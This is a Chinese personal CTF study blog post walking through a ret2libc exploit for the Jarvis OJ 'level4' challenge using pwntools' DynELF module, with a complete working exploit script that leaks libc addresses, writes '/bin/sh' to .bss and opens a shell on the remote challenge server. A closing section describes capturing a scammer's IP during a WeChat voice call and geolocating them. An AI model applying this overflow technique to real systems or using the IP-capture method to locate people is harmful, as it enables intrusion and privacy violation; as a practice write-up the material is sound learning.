pwn 练习笔记 暑假第八天 DynELF模块

继续昨天的未解之谜,leve4

在第二次感受火狐崩溃带来的绝望之后,在此立誓,再也不用火狐写博客

IDA打开查看一下伪代码:

pwn 练习笔记 暑假第八天 DynELF模块_第1张图片

图没截全,罢啦罢啦!那vul函数就看汇编吧

pwn 练习笔记 暑假第八天 DynELF模块_第2张图片

可看出,我们输入的字符串与ebp距离为0x88

checksec查看,开了nx保护

ROPgadget查看,没有‘/bin/sh’

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块

详细教程:https://blog.csdn.net/u011987514/article/details/68490157

然后查看,有system(好像开了ASLR所以会变)在没有libc.so的时候,我们用DynELF模块来确定system的地址

构造leak函数:

def leak(address):
    payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    data = p.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data   

这段函数能从内存中addressdump4字节数据,函数执行结束后会返回main函数重新执行,也就是说利用这个函数,我们可以dump出整个libc

使用DynELF模块查找system函数地址:

d = DynELF(leak,elf=ELF('./level4'))
sys_addr = d.lookup('system','libc')

 

有了获取libc的方法之后,就只要将‘/bin/sh’能保存到.bss断中,就可以执行system('/bin/sh')
首先我们要有bss的地址用来将输入的'/bin/sh'保存   利用bss_addr = elf.bss()得到bss地址

构造payload1 = 填充字符+read函数+read函数的返回地址(main)+第一个参数(0)+第二个参数bss_addr+第三个参数(8)

这个payload可以将'/bin/sh'读取,保存到bss段

然后构造第三个payload = 填充字符+system函数地址+'bbbb'+binsh(bss_addr)

脚本如下:

from pwn import *

sh = remote("pwn2.jarvisoj.com",9880)
e = ELF('./level4')

bss_addr = e.bss()
write_plt = e.symbols['write']
read_plt = e.symbols['read']
vul_addr = e.symbols['vulnerable_function']

print '[+]--------------get address-------------'
def leak(address):
    payload = 'a'*140 +p32(write_plt)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
    sh.send(payload)
    leak_addr = sh.recv(4)
    return leak_addr
d = DynELF(leak,elf=e)
sys_addr = d.lookup('system','libc')
print 'success'+hex(sys_addr)


print '[+]-----------send payload1------------------'
payload1 = 'a'*140 +p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss_addr)+p32(8)
sh.send(payload1)
sh.send('/bin/sh\x00')
print '[+]-----------send payload2------------------'
payload2 = 'a'*140 +p32(sys_addr)+'bbbb'+p32(bss_addr)
sh.send(payload2)
sh.interactive()

pwn 练习笔记 暑假第八天 DynELF模块_第3张图片

pwn 练习笔记 暑假第八天 DynELF模块_第4张图片

-------------------------------------------------------------------------------------------------------------------------------------------------------------

今天在外力作用下,搞了一波社工,所以耽误了真正的学习计划,还是记录一下

实现了第一次顺着网线吊打微信诈骗,其实知道的信息还挺多,知道了对方的座机号,银行卡号,微信号

然后从微信入手,在夜神模拟器里面装了微信,然后下载了IP雷达

开启IP雷达之后,给对方拨打语音电话,就可以看出对方IP,再通过IP定位网站,定位到骗子的所在地。

下面是关于微信定位的几个教程,还有定位网站:

https://www.52pojie.cn/thread-634989-1-1.html

https://www.52pojie.cn/thread-626021-1-1.html

https://www.52pojie.cn/thread-638554-1-1.html

突然觉得社工还是要学的,不然被骗了还手的能力都没有,这个假期的学习目标又多了一样

你可能感兴趣的:(pwn)